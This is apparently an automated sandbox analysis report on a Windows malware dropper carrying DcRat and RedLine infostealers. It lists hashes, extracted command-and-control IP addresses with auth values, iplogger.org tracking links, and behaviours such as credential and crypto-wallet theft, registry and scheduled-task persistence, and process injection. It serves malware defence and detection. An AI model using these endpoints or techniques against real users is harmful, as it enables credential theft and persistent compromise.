dcrat | dd0145067f81bf5aff9a7ee7eb56c11a98a5f69a9bdbc36744919ee49890de5a

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
23-08-2022 16:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

45597a36ace0c0df1890299d8d82d938.exe
Size

2.6MB
MD5

45597a36ace0c0df1890299d8d82d938
SHA1

285a4ee677b9f7675a0fffe9813488fcdeff7948
SHA256

dd0145067f81bf5aff9a7ee7eb56c11a98a5f69a9bdbc36744919ee49890de5a
SHA512

107284b6acebe67386177a2251099d98715a3d1f5e565eaf9dd490a4235f80108475983122199e85533df1f15b1ba330c80969e26bc5fcf8072fcf42ff6edcc3
SSDEEP

49152:pAI+cNpJc7YrEa2u2h9swu+AU3Z9CcVL2wD+aRpXPaAt1DD4S6sdsWjIa:pAI+Oc8rHJ2jHxZYOTDrRxaAt1DES6o/

Score

10^/10

dcrat redline 5 5076357887 nam3 discovery infostealer persistence rat spyware stealer

Malware Config

Extracted

Family

redline

Botnet

5076357887

195.54.170.157:16525

Attributes

auth_value
0dfaff60271d374d0c206d19883e06f3

Extracted

Family

redline

Botnet

176.113.115.146:9582

Attributes

auth_value
d38b30c1ccd6c1e5088d9e5bd9e51b0f

Extracted

Family

redline

Botnet

nam3

103.89.90.61:34589

Attributes

auth_value
64b900120bbceaa6a9c60e9079492895

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 9 IoCs

Processes:

resource	yara_rule
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\safert44.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\safert44.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	family_redline
behavioral2/memory/1528-183-0x0000000000FF0000-0x0000000001010000-memory.dmp	family_redline
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	family_redline
behavioral2/memory/2604-182-0x00000000003C0000-0x00000000003E0000-memory.dmp	family_redline
behavioral2/memory/4708-185-0x0000000000660000-0x00000000006A4000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 17 IoCs

Processes:

F0geI.exekukurzka9000.exenamdoitntn.exereal.exesafert44.exejshainx.exebrokerius.execaptain09876.exeordo_sec666.exeWW1.exeSETUP_~1.EXEAlwgckdftdslvwbqpdbjc13t.exeSETUP_~1.EXESETUP_~1.EXEDllResource.exeAlwgckdftdslvwbqpdbjc13t.exe3BAC.exe

pid	process
4476	F0geI.exe
380	kukurzka9000.exe
1528	namdoitntn.exe
2324	real.exe
4708	safert44.exe
2604	jshainx.exe
4068	brokerius.exe
1872	captain09876.exe
3396	ordo_sec666.exe
2268	WW1.exe
6888	SETUP_~1.EXE
5124	Alwgckdftdslvwbqpdbjc13t.exe
5564	SETUP_~1.EXE
6488	SETUP_~1.EXE
5980	DllResource.exe
5272	Alwgckdftdslvwbqpdbjc13t.exe
4064	3BAC.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

SETUP_~1.EXEreal.exebrokerius.exeAlwgckdftdslvwbqpdbjc13t.exeordo_sec666.exe3BAC.exe45597a36ace0c0df1890299d8d82d938.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	SETUP_~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	real.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	brokerius.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Alwgckdftdslvwbqpdbjc13t.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ordo_sec666.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	3BAC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	45597a36ace0c0df1890299d8d82d938.exe

Loads dropped DLL 9 IoCs

Processes:

real.exebrokerius.exeWW1.exeSETUP_~1.EXE

pid process

2324 real.exe
2324 real.exe
4068 brokerius.exe
4068 brokerius.exe
2268 WW1.exe
2268 WW1.exe
6488 SETUP_~1.EXE
6488 SETUP_~1.EXE
6488 SETUP_~1.EXE
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2324	real.exe
2324	real.exe
4068	brokerius.exe
4068	brokerius.exe
2268	WW1.exe
2268	WW1.exe
6488	SETUP_~1.EXE
6488	SETUP_~1.EXE
6488	SETUP_~1.EXE

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

captain09876.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	captain09876.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	captain09876.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

Processes:

SETUP_~1.EXEAlwgckdftdslvwbqpdbjc13t.exe

description	pid	process	target process
PID 6888 set thread context of 6488	6888	SETUP_~1.EXE	SETUP_~1.EXE
PID 5124 set thread context of 5272	5124	Alwgckdftdslvwbqpdbjc13t.exe	Alwgckdftdslvwbqpdbjc13t.exe

Drops file in Program Files directory 12 IoCs

Processes:

45597a36ace0c0df1890299d8d82d938.exesetup.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\real.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jshainx.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\brokerius.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\captain09876.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\F0geI.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\safert44.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	45597a36ace0c0df1890299d8d82d938.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\WW1.exe	45597a36ace0c0df1890299d8d82d938.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\e93727b8-a9b2-4883-93f0-8685ea9b75c9.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20220823181135.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

620 2268 WerFault.exe WW1.exe
5248 4476 WerFault.exe F0geI.exe
3276 4540 WerFault.exe explorer.exe

pid	pid_target	process	target process
620	2268	WerFault.exe	WW1.exe
5248	4476	WerFault.exe	F0geI.exe
3276	4540	WerFault.exe	explorer.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Alwgckdftdslvwbqpdbjc13t.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Alwgckdftdslvwbqpdbjc13t.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Alwgckdftdslvwbqpdbjc13t.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Alwgckdftdslvwbqpdbjc13t.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

real.exebrokerius.exeWW1.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	real.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	brokerius.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	brokerius.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WW1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WW1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	real.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3464 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

7740 timeout.exe
6024 timeout.exe

pid	process
3464	schtasks.exe

pid	process
7740	timeout.exe
6024	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

7648 taskkill.exe
5916 taskkill.exe
Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4524 PING.EXE

pid	process
7648	taskkill.exe
5916	taskkill.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

pid	process
4524	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exereal.exepowershell.exeordo_sec666.exejshainx.exebrokerius.exesafert44.exeidentity_helper.exeWW1.exenamdoitntn.exeSETUP_~1.EXEpowershell.exeDllResource.exe

pid	process
5628	msedge.exe
5628	msedge.exe
5644	msedge.exe
5644	msedge.exe
5756	msedge.exe
5756	msedge.exe
5772	msedge.exe
5772	msedge.exe
5708	msedge.exe
5708	msedge.exe
5656	msedge.exe
5656	msedge.exe
5668	msedge.exe
5668	msedge.exe
5676	msedge.exe
5676	msedge.exe
1316	msedge.exe
1316	msedge.exe
2324	real.exe
2324	real.exe
7360	powershell.exe
7360	powershell.exe
7360	powershell.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
3396	ordo_sec666.exe
2604	jshainx.exe
2604	jshainx.exe
4068	brokerius.exe
4068	brokerius.exe
4708	safert44.exe
4708	safert44.exe
6176	identity_helper.exe
6176	identity_helper.exe
2268	WW1.exe
2268	WW1.exe
1528	namdoitntn.exe
1528	namdoitntn.exe
6888	SETUP_~1.EXE
6888	SETUP_~1.EXE
6888	SETUP_~1.EXE
6888	SETUP_~1.EXE
6888	SETUP_~1.EXE
6888	SETUP_~1.EXE
8016	powershell.exe
8016	powershell.exe
8016	powershell.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe
5980	DllResource.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

Alwgckdftdslvwbqpdbjc13t.exe

pid process

5272 Alwgckdftdslvwbqpdbjc13t.exe
2740
2740
2740
2740

pid	process
5272	Alwgckdftdslvwbqpdbjc13t.exe
2740
2740
2740
2740

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

Processes:

msedge.exe

pid	process
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe
1316	msedge.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

SETUP_~1.EXEpowershell.exetaskkill.exejshainx.exesafert44.exetaskkill.exenamdoitntn.exeAlwgckdftdslvwbqpdbjc13t.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	6888	SETUP_~1.EXE
Token: SeDebugPrivilege	7360	powershell.exe
Token: SeDebugPrivilege	7648	taskkill.exe
Token: SeDebugPrivilege	2604	jshainx.exe
Token: SeDebugPrivilege	4708	safert44.exe
Token: SeDebugPrivilege	5916	taskkill.exe
Token: SeDebugPrivilege	1528	namdoitntn.exe
Token: SeDebugPrivilege	5124	Alwgckdftdslvwbqpdbjc13t.exe
Token: SeDebugPrivilege	8016	powershell.exe
Token: SeShutdownPrivilege	2740
Token: SeCreatePagefilePrivilege	2740
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeShutdownPrivilege	2740
Token: SeCreatePagefilePrivilege	2740

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msedge.exe

pid process

1316 msedge.exe
1316 msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

45597a36ace0c0df1890299d8d82d938.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exemsedge.exe

description	pid	process	target process
PID 4384 wrote to memory of 528	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 528	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 2136	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 2136	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 528 wrote to memory of 3844	528	msedge.exe	msedge.exe
PID 528 wrote to memory of 3844	528	msedge.exe	msedge.exe
PID 2136 wrote to memory of 4876	2136	msedge.exe	msedge.exe
PID 2136 wrote to memory of 4876	2136	msedge.exe	msedge.exe
PID 4384 wrote to memory of 4852	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 4852	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4852 wrote to memory of 2252	4852	msedge.exe	msedge.exe
PID 4852 wrote to memory of 2252	4852	msedge.exe	msedge.exe
PID 4384 wrote to memory of 4704	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 4704	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4704 wrote to memory of 4332	4704	msedge.exe	msedge.exe
PID 4704 wrote to memory of 4332	4704	msedge.exe	msedge.exe
PID 4384 wrote to memory of 1412	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 1412	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 1412 wrote to memory of 1508	1412	msedge.exe	msedge.exe
PID 1412 wrote to memory of 1508	1412	msedge.exe	msedge.exe
PID 4384 wrote to memory of 3744	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 3744	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 3744 wrote to memory of 4396	3744	msedge.exe	msedge.exe
PID 3744 wrote to memory of 4396	3744	msedge.exe	msedge.exe
PID 4384 wrote to memory of 4656	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 4656	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4656 wrote to memory of 3084	4656	msedge.exe	msedge.exe
PID 4656 wrote to memory of 3084	4656	msedge.exe	msedge.exe
PID 4384 wrote to memory of 1316	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 4384 wrote to memory of 1316	4384	45597a36ace0c0df1890299d8d82d938.exe	msedge.exe
PID 1316 wrote to memory of 32	1316	msedge.exe	msedge.exe
PID 1316 wrote to memory of 32	1316	msedge.exe	msedge.exe
PID 4384 wrote to memory of 4476	4384	45597a36ace0c0df1890299d8d82d938.exe	F0geI.exe
PID 4384 wrote to memory of 4476	4384	45597a36ace0c0df1890299d8d82d938.exe	F0geI.exe
PID 4384 wrote to memory of 4476	4384	45597a36ace0c0df1890299d8d82d938.exe	F0geI.exe
PID 4384 wrote to memory of 380	4384	45597a36ace0c0df1890299d8d82d938.exe	kukurzka9000.exe
PID 4384 wrote to memory of 380	4384	45597a36ace0c0df1890299d8d82d938.exe	kukurzka9000.exe
PID 4384 wrote to memory of 380	4384	45597a36ace0c0df1890299d8d82d938.exe	kukurzka9000.exe
PID 4384 wrote to memory of 1528	4384	45597a36ace0c0df1890299d8d82d938.exe	namdoitntn.exe
PID 4384 wrote to memory of 1528	4384	45597a36ace0c0df1890299d8d82d938.exe	namdoitntn.exe
PID 4384 wrote to memory of 1528	4384	45597a36ace0c0df1890299d8d82d938.exe	namdoitntn.exe
PID 4384 wrote to memory of 2324	4384	45597a36ace0c0df1890299d8d82d938.exe	real.exe
PID 4384 wrote to memory of 2324	4384	45597a36ace0c0df1890299d8d82d938.exe	real.exe
PID 4384 wrote to memory of 2324	4384	45597a36ace0c0df1890299d8d82d938.exe	real.exe
PID 4384 wrote to memory of 4708	4384	45597a36ace0c0df1890299d8d82d938.exe	safert44.exe
PID 4384 wrote to memory of 4708	4384	45597a36ace0c0df1890299d8d82d938.exe	safert44.exe
PID 4384 wrote to memory of 4708	4384	45597a36ace0c0df1890299d8d82d938.exe	safert44.exe
PID 4384 wrote to memory of 2604	4384	45597a36ace0c0df1890299d8d82d938.exe	jshainx.exe
PID 4384 wrote to memory of 2604	4384	45597a36ace0c0df1890299d8d82d938.exe	jshainx.exe
PID 4384 wrote to memory of 2604	4384	45597a36ace0c0df1890299d8d82d938.exe	jshainx.exe
PID 4384 wrote to memory of 4068	4384	45597a36ace0c0df1890299d8d82d938.exe	brokerius.exe
PID 4384 wrote to memory of 4068	4384	45597a36ace0c0df1890299d8d82d938.exe	brokerius.exe
PID 4384 wrote to memory of 4068	4384	45597a36ace0c0df1890299d8d82d938.exe	brokerius.exe
PID 4384 wrote to memory of 1872	4384	45597a36ace0c0df1890299d8d82d938.exe	captain09876.exe
PID 4384 wrote to memory of 1872	4384	45597a36ace0c0df1890299d8d82d938.exe	captain09876.exe
PID 4384 wrote to memory of 3396	4384	45597a36ace0c0df1890299d8d82d938.exe	ordo_sec666.exe
PID 4384 wrote to memory of 3396	4384	45597a36ace0c0df1890299d8d82d938.exe	ordo_sec666.exe
PID 4384 wrote to memory of 3396	4384	45597a36ace0c0df1890299d8d82d938.exe	ordo_sec666.exe
PID 4384 wrote to memory of 2268	4384	45597a36ace0c0df1890299d8d82d938.exe	WW1.exe
PID 4384 wrote to memory of 2268	4384	45597a36ace0c0df1890299d8d82d938.exe	WW1.exe
PID 4384 wrote to memory of 2268	4384	45597a36ace0c0df1890299d8d82d938.exe	WW1.exe
PID 1316 wrote to memory of 892	1316	msedge.exe	msedge.exe
PID 1316 wrote to memory of 892	1316	msedge.exe	msedge.exe
PID 1316 wrote to memory of 892	1316	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\45597a36ace0c0df1890299d8d82d938.exe
"C:\Users\Admin\AppData\Local\Temp\45597a36ace0c0df1890299d8d82d938.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4384

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1ARmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:528

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:3844

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,17882193465015586610,9223763694032311636,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2072 /prefetch:2
3⤵
PID:5564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,17882193465015586610,9223763694032311636,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5756

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AAmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:2136

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:4876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,18425969266562091997,13581423393682655782,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
3⤵
PID:5492

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,18425969266562091997,13581423393682655782,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AFmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:4852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:2252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2004,17827222595410475505,4759277987448515783,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AGmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:4704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:4332

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,16373597107223477641,15198143354515138180,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1384 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AJmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:1412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
